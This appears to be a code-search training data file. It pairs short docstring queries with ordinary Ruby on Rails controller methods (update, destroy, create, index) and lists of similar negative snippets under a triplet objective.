PATCH/PUT /controlpltkts/1 PATCH/PUT /controlpltkts/1.json
|
def update
respond_to do |format|
if @controlpltkt.update(controlpltkt_params)
format.html { redirect_to @controlpltkt, notice: 'Controlpltkt was successfully updated.' }
format.json { render :show, status: :ok, location: @controlpltkt }
else
format.html { render :edit }
format.json { render json: @controlpltkt.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n respond_to do |format|\n if @controlpnytt.update(controlpnytt_params)\n format.html { redirect_to @controlpnytt, notice: 'Controlpnytt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlpnytt }\n else\n format.html { render :edit }\n format.json { render json: @controlpnytt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controltltkt.update(controltltkt_params)\n format.html { redirect_to @controltltkt, notice: 'Controltltkt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controltltkt }\n else\n format.html { render :edit }\n format.json { render json: @controltltkt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controltnytt.update(controltnytt_params)\n format.html { redirect_to @controltnytt, notice: 'Controltnytt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controltnytt }\n else\n format.html { render :edit }\n format.json { render json: @controltnytt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controlqltkt.update(controlqltkt_params)\n format.html { redirect_to @controlqltkt, notice: 'Controlqltkt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlqltkt }\n else\n format.html { render :edit }\n format.json { render json: @controlqltkt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controlspnnt.update(controlspnnt_params)\n format.html { redirect_to @controlspnnt, notice: 'Controlspnnt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlspnnt }\n else\n format.html { render :edit }\n format.json { render json: @controlspnnt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tnpsc.update(tnpsc_params)\n format.html { redirect_to @tnpsc, notice: 'Tnpsc was successfully updated.' }\n format.json { render :show, status: :ok, location: @tnpsc }\n else\n format.html { render :edit }\n format.json { render json: @tnpsc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controlpnynt.update(controlpnynt_params)\n format.html { redirect_to @controlpnynt, notice: 'Controlpnynt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlpnynt }\n else\n format.html { render :edit }\n format.json { render json: @controlpnynt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controlpnnt.update(controlpnnt_params)\n format.html { redirect_to @controlpnnt, notice: 'Controlpnnt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlpnnt }\n else\n format.html { render :edit }\n format.json { render json: @controlpnnt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controltnnt.update(controltnnt_params)\n format.html { redirect_to @controltnnt, notice: 'Controltnnt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controltnnt }\n else\n format.html { render :edit }\n format.json { render json: @controltnnt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @time_control.update(time_control_params)\n format.html { redirect_to @time_control, notice: 'Time control was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @time_control.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spt.update(spt_params)\n format.html { redirect_to @spt, notice: 'Spt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @spt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controltnynt.update(controltnynt_params)\n format.html { redirect_to @controltnynt, notice: 'Controltnynt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controltnynt }\n else\n format.html { render :edit }\n format.json { render json: @controltnynt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controlp.update(controlp_params)\n format.html { redirect_to @controlp, notice: 'Controlp was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlp }\n else\n format.html { render :edit }\n format.json { render json: @controlp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controlqnytt.update(controlqnytt_params)\n format.html { redirect_to @controlqnytt, notice: 'Controlqnytt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controlqnytt }\n else\n format.html { render :edit }\n format.json { render json: @controlqnytt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ptpktp.update(ptpktp_params)\n format.html { redirect_to ptpktps_path, notice: 'ΠΠ°ΠΏΠΈΡΡ ΡΡΠΏΠ΅ΡΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π°.' }\n format.json { render :show, status: :ok, location: ptpktps_path }\n else\n format.html { render :edit }\n format.json { render json: @ptpktp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @controltgmt.update(controltgmt_params)\n format.html { redirect_to @controltgmt, notice: 'Controltgmt was successfully updated.' }\n format.json { render :show, status: :ok, location: @controltgmt }\n else\n format.html { render :edit }\n format.json { render json: @controltgmt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @kpt.update(kpt_params)\n format.html { redirect_to kpts_path, notice: 'Kpt was successfully updated.' }\n else\n format.html { render :edit }\n format.json { render json: @kpt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @control_time.update(control_time_params)\n format.html { redirect_to control_times_path, notice: 'Control time was successfully updated.' }\n format.json { render :show, status: :ok, location: @control_time }\n else\n format.html { render :edit }\n format.json { render json: @control_time.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /controlpltkts/1 DELETE /controlpltkts/1.json
|
def destroy
@controlpltkt.destroy
respond_to do |format|
format.html { redirect_to controlpltkts_url, notice: 'Controlpltkt was successfully destroyed.' }
format.json { head :no_content }
end
end
|
[
"def destroy\n @controltltkt.destroy\n respond_to do |format|\n format.html { redirect_to controltltkts_url, notice: 'Controltltkt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @controlqltkt.destroy\n respond_to do |format|\n format.html { redirect_to controlqltkts_url, notice: 'Controlqltkt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @controltnytt.destroy\n respond_to do |format|\n format.html { redirect_to controltnytts_url, notice: 'Controltnytt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @controlspnnt.destroy\n respond_to do |format|\n format.html { redirect_to controlspnnts_url, notice: 'Controlspnnt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @controltnnt.destroy\n respond_to do |format|\n format.html { redirect_to controltnnts_url, notice: 'Controltnnt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @controlpnynt.destroy\n respond_to do |format|\n format.html { redirect_to controlpnynts_url, notice: 'Controlpnynt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tssk.destroy\n respond_to do |format|\n format.html { redirect_to tssks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @treq = Treq.find(params[:id])\n @treq.destroy\n\n respond_to do |format|\n format.html { redirect_to treqs_url }\n format.json { head :no_content }\n end\n end",
"def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend",
"def destroy\n @controlpnnt.destroy\n respond_to do |format|\n format.html { redirect_to controlpnnts_url, notice: 'Controlpnnt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tnpsc.destroy\n respond_to do |format|\n format.html { redirect_to tnpscs_url, notice: 'Tnpsc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @controltnynt.destroy\n respond_to do |format|\n format.html { redirect_to controltnynts_url, notice: 'Controltnynt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @controltgmt.destroy\n respond_to do |format|\n format.html { redirect_to controltgmts_url, notice: 'Controltgmt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n\n head :no_content\n end",
"def destroy\n @tsp = Tsp.find(params[:id])\n @tsp.destroy\n\n respond_to do |format|\n format.html { redirect_to tsps_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @spt.destroy\n respond_to do |format|\n format.html { redirect_to spts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @control_point = ControlPoint.find(params[:id])\n @control_point.destroy\n\n respond_to do |format|\n format.html { redirect_to control_points_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @time_control.destroy\n respond_to do |format|\n format.html { redirect_to time_controls_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Init with exception message and response object if one is available
|
def initialize(httpMsg, responseObj = nil)
@response = responseObj
super("An error occurred executing the HTTP request: #{httpMsg}")
end
|
[
"def initialize(message = nil, response = nil)\n @response = response\n @code = response.code\n\n json = JSON.parse(response.body)\n api_message = json['error'] || json['errors']\n\n message ||= ''\n message = \"#{message} #{api_message}\"\n\n super(message, response)\n rescue NoMethodError, JSON::ParserError\n super(message, response)\n end",
"def initialize(request, response)\n super(response.error_message)\n self.request = request\n self.response = response\n end",
"def initialize\n @message = 'Unknown Exception'\n end",
"def handle_response(response)\n return super(response)\n rescue ActiveResource::ClientError => exc\n begin\n # ugly code to insert the error_message into response\n error_message = \"#{format.decode response.body}\"\n if not error_message.nil? or error_message == \"\"\n exc.response.instance_eval do ||\n @message = error_message\n end\n end\n ensure\n raise exc\n end\n end",
"def initialize(exception)\n @exception = exception\n end",
"def from_response(response)\n\n payload = response.body\n @error = payload['error']\n @error_code = payload['error_code']\n @details = payload['details']\n @response = response\n\n logger.error(\"Request failed with status #{response.code.to_s}: '#{@error_code} #{@error}': #{response.body}\")\n\n self\n end",
"def initialize(response)\n @response = response\n\n if outcome\n @code = outcome[:reason_code]\n message = outcome[:reason_message]\n else\n message = \"the server responded with status #{response[:status]}\"\n end\n\n super(message)\n end",
"def raise_with_response( response )\n raise Error.new( Error::UNKNOWN, 'Unknown error' )\n end",
"def initialize(options={})\n options = {} if options.nil?\n options = { :message => options.message } if options.is_a? Exception\n \n options = { :message => options } if options.is_a? String\n @headers = Hash.new\n @headers.merge! options.delete(:headers) || {}\n @status = options[:status] || default_status\n @title = options[:title] || default_title\n @message = options[:message] || default_message\n @help = options[:help] || default_help\n end",
"def handle_exceptions &block\n begin\n yield\n rescue RestClient::Exception => e\n Response.new(e.response, :error => e.message)\n end\n end",
"def response!\n return response if !response.errors?\n\n raise response.to_exception\n end",
"def rebuild_response_from_open_uri_exception(exception)\n code, message = exception.io.status\n message ||= \"Unknown\"\n\n response_class = Net::HTTPResponse::CODE_TO_OBJ.fetch(code) do |c|\n Net::HTTPResponse::CODE_CLASS_TO_OBJ.fetch(c[0]) do\n Net::HTTPUnknownResponse\n end\n end\n response = response_class.new(nil, code, message)\n\n exception.io.metas.each do |name, values|\n values.each { |value| response.add_field(name, value) }\n end\n\n response\n end",
"def initialize(method, path, response)\n @method = method\n @path = path\n @code = response.code\n @body = response.body.to_s\n @body = @body.empty? ? \"<none>\" : \"#{response.body}\"\n message = \"Unexpected server response:\\n Method: #{@method}\\n Path: \"\\\n \"#{@path}\\n Code: #{@code}\\n Body: #{@body}\"\n super message\n end",
"def initialize(http_response, http_response_code, http_raw_response)\n @http_status_code = http_response_code\n @http_raw_response = http_raw_response\n\n # only set these variables if a message-body is expected.\n if not @http_raw_response.kind_of? Net::HTTPNoContent\n @body = MultiJson.load(http_response) unless http_response.nil?\n @request = MultiJson.load(@body[\"request\"].to_s) if @body[\"request\"]\n @api_status = @body[\"status\"].to_i if @body[\"status\"]\n @api_error_message = @body[\"error_message\"].to_s if @body[\"error_message\"]\n end\n end",
"def initialize(response)\n @data = response[:data]\n @status = response[:status]\n super ApduError.message_for_apdu_response(response)\n end",
"def not_found(response)\n NotFound.new.tap { |exception| exception.response = response }\n end",
"def __raise_transport_error(response)\n error = ERRORS[response.status] || ServerError\n raise error.new \"[#{response.status}] #{response.body}\"\n end",
"def initialize(response)\n @response = response\n end",
"def validate_response!\n if error = FrOData::Errors::ERROR_MAP[status]\n raise error.new(response, error_message)\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Equality. All false instances are equal each other, plus a FalseClass instance is also equal to this.
|
def == other
case other when FalseClass, self.class
true
else
false
end
end
|
[
"def false?\n FalseClass === self\n end",
"def ==(other)\n return false unless super\n self.force == other.force\n end",
"def ==(other)\n return false if other.class != self.class\n hash_attr_diff(self) == hash_attr_diff(other)\n end",
"def ==(other)\n return false if other.class != self.class\n attr_hash == other.attr_hash\n end",
"def equal_by_class?(o) o.class == self.class end",
"def ==(other)\n return false unless other.is_a?(self.class)\n return false if self.new_record? || other.new_record?\n super\n end",
"def ==(rhs); end",
"def true?\n TrueClass === self\n end",
"def equal_by_class?(o) o.class == self.class end",
"def eql?(*) end",
"def == other\n self.class == other.class and\n self.name == other.name and\n self.rw == other.rw and\n self.singleton == other.singleton\n end",
"def ==(*) end",
"def like?(other)\n other.identical?(self) ||\n other.eql?(self) ||\n other.==(self) ||\n other.===(self)\n end",
"def eql?(other)\n self.equal?(other) || \n (self.class == other.class &&\n self.prob == other.prob &&\n self.alias == other.alias &&\n self.values == other.values)\n end",
"def equivalent?(other)\n Equivalence.new.call(self, other)\n end",
"def ==(other)\n return false unless self.class == other.class\n return false unless power == other.power\n return false unless value == other.value\n return true\n end",
"def ==(other)\n other.equal?(self) || (other.instance_of?(self.class) && !other.new? && other.id == id)\n end",
"def ==(other)\n return false if self.objects.to_a != other.objects.to_a\n return false if @environmental_factors != other.environmental_factors.to_a\n return false if self.clock != other.clock\n true\n end",
"def true?\n self.eql?(true)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
attempts to set the number showing to number and returns if cheat was successful
|
def cheat number
if number > 0 && number < 7
@numberShowing = number
return true
end
return false
end
|
[
"def cheat( number )\n if number.between?(1,6)\n @number_showing = number\n else\n puts \"You are not a very smart cheater.\"\n end\n end",
"def check(number)\n \n end",
"def tricky_number\n if true \n number = 1\n else\n 2\n end\nend",
"def nummerieren(nr)\n \n end",
"def number=(new_number)\n self.assert_non_negative(new_number)\n @number = new_number\n end",
"def stepThree number\n\tif number % 10 == 0\n\t\treturn 'Le numΓ©ro de SIRET est valide'\n\telse\n\t\treturn 'Le numΓ©ro de SIRET n\\'est pas valide'\n\tend\nend",
"def print_kit_kat\n 100.times do |number|\n new_number = number + 1\n\n if new_number % 3 == 0\n puts 'kit'\n elsif new_number % 7 == 0\n puts 'kat'\n else \n puts new_number\n end\n end\nend",
"def number=(value)\n @number = value\n end",
"def set_num_message(number)\n\t\tif(number == 1)\n\t\t\tmessage = \"1 book found\"\n\t\telse\n\t\t\tmessage = \"#{number} books found\"\n\t\tend\n\t\treturn message\n\tend",
"def assess_situation(number, announcement, excuse)\n if number == 99\n puts \"#{excuse}\"\n elsif number == 21\n puts \"#{announcement}\"\n else number == 3\n puts \"Meh. Hard Pass\"\n end\nend",
"def check_renban num\nend",
"def good_tries(num_tries)\n if num_tries.nil?\n puts\n puts 'You haven\\'t entered number of tries.'\n puts\n show_usage\n false\n else\n if num_tries.is_a?(Integer) && num_tries.positive?\n $num_pings = num_tries\n else\n puts\n puts 'Number of tries should be a positive integer.'\n puts\n show_usage\n false\n end\n end\nend",
"def cheat\n @score -= 100\n @isCheat = true\n end",
"def set_num(user_number)\n self.num = user_number\n\n self\n end",
"def number=(value)\n @number = value\n end",
"def pick_winner(number)\n if number == 77\n puts \"Your are winner, Your number is #{number}\"\n else\n puts \"#{number}. Try again\"\n end\nend",
"def launcher\n num = PhoneNumberFormatter.new\n \n until num.is_number_valid == true\n puts \"Sorry that isn't a valid number.\"\n end\n num.convert_number_to_array(num.number)\n num.format_number_array\n num.present_finished_number\n end",
"def number_in_x \n system('cls')\n @tab[0][0]=\"X\" if @num == 1\n @tab[0][1]=\"X\" if @num == 2\n @tab[0][2]=\"X\" if @num == 3\n @tab[1][0]=\"X\" if @num == 4\n @tab[1][1]=\"X\" if @num == 5\n @tab[1][2]=\"X\" if @num == 6\n @tab[2][0]=\"X\" if @num == 7\n @tab[2][1]=\"X\" if @num == 8\n @tab[2][2]=\"X\" if @num == 9\n @penultimo=\"O\"\n showtable\n wins?\n puts \n end",
"def cheat\n if !@is_cheated and @score >= 100\n @score -= 100\n @is_cheated = true\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
returns the number showing
|
def showing
return @numberShowing
end
|
[
"def show_number\n @number_showing\n end",
"def showing \n @numberShowing\n end",
"def number\n content_tag('span', @question.position.to_s + '. ', :class => :number )\n end",
"def display(number)\n number % 1 == 0 ? number.to_i.to_s : number.to_s\n end",
"def number_s\n return @number_s\n end",
"def display_number\n \"Lesson #{lesson.number}, Part #{number}\"\n end",
"def display_num(value)\n\tnumber_with_delimiter(number_with_precision(value, precision: 2))\n end",
"def display_number\n \"Lesson #{number}\"\n end",
"def show_string(number)\n return number.to_s\nend",
"def display_value\n human_number = \"#{country_code}- #{number}\"\n human_number << \" ext. #{extension}\" if extension\n human_number\n end",
"def display_number\n # \n ('X' * (account_number.to_s.length - last_digits.size)) + last_digits\n # account_number.to_s[0..last_digits.size].to_s.size + \n # last_digits.to_s\n end",
"def num()\n @numerador\n end",
"def to_s\n nr = can_display_metric? ? number_with_metric : number_with_delimiter\n \"#{nr}#{number_text}\"\n end",
"def nummerieren(nr)\n \n end",
"def num\n @numerador\n end",
"def number\n\t\t@floor_num\n\tend",
"def rt_highlight rt_count\n if rt_count == '100+'\n 1\n else\n (rt_count.to_f * 2) / 100\n end\nend",
"def original_number\n @number\n end",
"def get_display_number(extraction_form_id)\n\t current_max = QualityRatingField.maximum(\"display_number\",:conditions => [\"extraction_form_id = ?\", extraction_form_id])\n\t if (current_max.nil?)\n\t \tcurrent_max = 0\n\t end\n\t\treturn current_max + 1\n\tend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Changes the value of the given name stored in the S3Object's metadata: object = bucket.object['myobject'] object.metadata['purpose'] = 'research' object.metadata['purpose'] => 'research'
|
def []= name, value
raise "cannot change the metadata of an object version; "+
"use S3Object#write to create a new version with different metadata" if
@version_id
metadata = to_h.dup
metadata[name.to_s] = value
object.copy_from(object.key,
:metadata => metadata)
value
end
|
[
"def set_metadata\n s3_obj.metadata[\"filename\"] = file_name\n s3_obj.metadata[\"bindery-pid\"] = persistent_id\n end",
"def overwrite_metadata(metadata, section, key, value); end",
"def name(name)\n @metadata = @metadata.with_name(name)\n end",
"def update_metadata_field(field_name, value)\n @client.put(\"#{metadata_path}/#{field_name}\", nil, { value: value }, \"Content-Type\" => \"application/json\")\n end",
"def store_object(bucket, key, object)\n puts \"Storing object in #{bucket}.#{key}\"\n S3Object.store(\n key,\n object,\n bucket,\n :access => :public_read\n )\n end",
"def s3_write(key, value)\n @s3.put_object(bucket: ENV.fetch(\"AWS_BUCKET\"), key: key, body: value,\n content_type: \"text/plain; charset=utf-8\")\n end",
"def update_metadata(dataset, metadata = {})\n metadata = get_metadata(metadata)\n metadata.each { |k, v| dataset.metadata[k] = v }\n dataset.save\n end",
"def put_and_update_meta(o)\n put(o)\n put_meta\n end",
"def guid=(new_guid)\n self.dirty = true\n @s3obj.metadata[:guid] = new_guid\n end",
"def create_object(object_key, value, metadata = {})\n object_key_escaped = S3::Object.escape_key(object_key)\n \n headers = {}\n metadata.each {|key, value| headers[\"x-amz-meta-#{key}\"] = value }\n \n response = @s3.request_put(\"/#{@name}/#{object_key_escaped}\", value,\n headers)\n @s3.error?(response)\n\n @cache.delete(:objects)\n\n return get_object(object_key)\n end",
"def overwrite_metadata(metadata, section, key, value)\n return unless key.is_a?(String) || key.is_a?(Symbol)\n\n metadata[section] ||= {}\n metadata[section][key] = value\n end",
"def create_object(bucket_name, key, data, headers = {}, meta_headers = {}, acl = :private)\n headers = headers.dup\n meta_headers.each do |k,v|\n headers[k =~ /^x-amz-meta-/i ? k : \"x-amz-meta-#{k}\"] = v\n end\n headers['x-amz-acl'] = acl.to_s.gsub(/_/, '-')\n\n response = send_s3_request('PUT', :bucket => bucket_name, :key => key, :headers => headers, :data => data)\n response.is_a?(Net::HTTPSuccess)\n end",
"def write(bucket, key, value)\n Vault::Log.log(:fn => __method__, :key => key) do\n s3.put_object({bucket: bucket, key: key, body: value})\n end\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def change_metadata(metadata)\n update(Image.sanitize_metadata(metadata))\n end",
"def set_share_metadata(name, metadata, options = {})\n # Query\n query = { \"comp\" => \"metadata\" }\n query[\"timeout\"] = options[:timeout].to_s if options[:timeout]\n\n # Headers\n headers = StorageService.common_headers\n StorageService.add_metadata_to_headers(metadata, headers) if metadata\n\n # Call\n call(:put, share_uri(name, query), nil, headers, options)\n\n # Result\n nil\n end",
"def set_container_metadata(name, metadata, options={})\n # Query\n query = { 'comp' => 'metadata' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Headers\n headers = StorageService.common_headers\n StorageService.add_metadata_to_headers(metadata, headers) if metadata\n\n # Call\n call(:put, container_uri(name, query), nil, headers, options)\n \n # Result\n nil\n end",
"def update_metadata(key, **metadata); end",
"def update_name(new_name)\n ensure_uri\n response = @client.rest_put(@data['uri'], 'body' => { 'name' => new_name, 'type' => 'ArtifactsBundle' })\n @client.response_handler(response)\n @data['name'] = new_name\n true\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /testreplyposts GET /testreplyposts.json
|
def index
@testreplyposts = Testreplypost.all
end
|
[
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @post_replies = PostReply.all\n end",
"def index\n @replies = Reply.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @replies }\n end\n end",
"def new\n @reply = Reply.new\n @reply.post_id = params[:post_id]\n @replies = Reply.find_all_by_post_id(@reply.post_id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reply }\n end\n end",
"def reply\n @title = \"Reply\"\n @user=User.find(params[:id])\n @micropost=Micropost.new\n respond_to do |format|\n format.html\n format.json { render json: @micropost }\n end\n\n end",
"def index\n @reply_answers = ReplyAnswer.all\n end",
"def index\n @rreplies = Rreply.all\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def get_posts\n url = 'https://www.fimfiction.net/api/v2/blog-posts?'\n url << Fimfiction::Utils.query_builder(@filters) unless @filters.length == 0\n url << \"fields[blog_post]=#{Fimfiction::Utils.query_builder(@attributes)}\" unless @attributes.length == 0\n begin\n request = RestClient::Request.execute(method: :get, url: url, headers: {Authorization: 'Bearer '+@token}, :user_agent => \"gem-Fimfiction by Vertex - https://github.com/IAmVertex/gem-fimfiction\")\n return JSON.parse(request)\n rescue RestClient::ExceptionWithResponse => e\n err_response = JSON.parse(e.response)\n raise Fimfiction::Error.check(err_response[\"errors\"][0][\"code\"]), err_response[\"errors\"][0][\"title\"]\n end\n end",
"def index\n @replies = @rating.replies.order(created_at: :desc)\n render json: @replies\n end",
"def index\n @message_posts = MessagePost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @message_posts }\n end\n end",
"def show\n @likesforreply = Likesforreply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @likesforreply }\n end\n end",
"def test_function_get_all_posts_successfully\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def replies\n options = {}\n if params[:per_page]\n options[:limit] = params[:per_page].to_i\n if params[:page] && params[:page].to_i >= 1\n options[:offset] = params[:per_page].to_i * (params[:page].to_i-1)\n end\n end\n options[:conditions] = {:channel_id => @channel.id, :reference_to => @message.id }\n sort_order = 'DESC'\n if params[:sort_order]\n if params[:sort_order] == 'ascending'\n sort_order = 'ASC'\n elsif params[:sort_order] == 'descending'\n sort_order = 'DESC'\n end\n end\n options[:order] = 'updated_at ' + sort_order\n @messages = Message.all(options)\n size = Message.count(:conditions => options[:conditions])\n\n render_json :entry => @messages, :size => size and return\n end",
"def index\n render json: SubRedditPost.all\n end",
"def index\n @replies = Reply.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @replies }\n end\n end",
"def reply_to_post\n puts params[:reply]\n @post = Post.find(params[:reply][:post_id])\n @reply = @post.replies.build(params[:reply])\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to(board_post_path(@post.board, @post), notice => 'Post was successfully created.') }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @postits = Postit.all\n render json: @postits, status: :ok\n end",
"def get_thread_replies(id, cookie = nil)\n JSON.parse(get(API + \"/thread/\" + id.to_s + \"/replies\", cookie).body)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /testreplyposts POST /testreplyposts.json
|
def create
@testreplypost = Testreplypost.new(testreplypost_params)
respond_to do |format|
if @testreplypost.save
format.html { redirect_to @testreplypost, notice: 'Testreplypost was successfully created.' }
format.json { render :show, status: :created, location: @testreplypost }
else
format.html { render :new }
format.json { render json: @testreplypost.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @post = Post.find(params[:post_id])\n @reply = @post.replies.new(reply_params)\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to @post, notice: \"Reply was successfully created.\" }\n format.json { render :show, status: :created, location: @reply }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reply_to_post\n puts params[:reply]\n @post = Post.find(params[:reply][:post_id])\n @reply = @post.replies.build(params[:reply])\n @reply.user_id = current_user.id\n\n respond_to do |format|\n if @reply.save\n format.html { redirect_to(board_post_path(@post.board, @post), notice => 'Post was successfully created.') }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @testreplyposts = Testreplypost.all\n end",
"def createreply\n #create the reply object\n @user = User.find_by_userName(session[:userName])\n @post = Post.new(:user_id => @user.id, :postString => params[:replyContent], :parentPostID => params[:parentPostID], :totalVotes => 0)\n\n respond_to do |format|\n #save the reply and redirect to the parent post page for display\n if @post.save\n format.html { redirect_to Post.find(params[:parentPostID]), notice: 'Reply to this post is saved. See the \\'All replies\\' section.' }\n format.json { render json: Post.find(params[:parentPostID]), status: :created, location: Post.find(params[:parentPostID]) }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reply = @rating.replies.new(reply_params)\n @reply.user = current_user\n if @reply.save\n render json: @reply, status: :created, location: [@rating, @reply]\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def test_should_create_status_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/status_posts.json\", :api_key => 'testapikey',\r\n :status_post => {:body => 'API Status Post 1' }\r\n assert_response :created\r\n status_post = JSON.parse(response.body)\r\n check_new_status_post(status_post) \r\n end",
"def create\n @reply = @place.replies.new(reply_params)\n @reply.user = current_user\n if @reply.save\n render :show, status: :created, location: @reply\n else\n render json: @reply.errors, status: :unprocessable_entity\n end\n end",
"def create\n @reply = @card.replies.create(params[:reply])\n respond_with @card, location: card_url(id: @card.access_token)\n end",
"def create_reply\n @discussion = Discussion.find(params[:discussion_id])\n @forum = Forum.find(@discussion.forum_key)\n @reply_to_post = ForumPost.find(params[:forum_post][:reply_to_post])\n @current_user = current_user\n @forum_post = ForumPost.reply_to(@reply_to_post, @current_user, new_reply_params)\n\n respond_to do |format|\n if @forum_post.save\n redirect_url = \"/discussions/#{@discussion.key}/##{@forum_post.key}\"\n format.html { redirect_to redirect_url, notice: 'Forum post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @forum_post }\n else\n format.html { render action: 'new' }\n format.json { render json: @forum_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reply_vote = ReplyVote.new(params[:reply_vote])\n @reply_vote.user = current_user\n @reply_vote.reply=Reply.find(params[:reply_id])\n\n respond_to do |format|\n if @reply_vote.save\n format.html { redirect_to posts_path, notice: 'Reply vote was successfully created.' }\n format.json { render json: posts_path, status: :created, location: @reply_vote }\n else\n format.html { redirect_to posts_path, :flash => {:alert => \"You can only vote once per reply!\"} }\n format.json { render json: @reply_vote.errors, status: :unprocessable_entity }\n end\n end\n end",
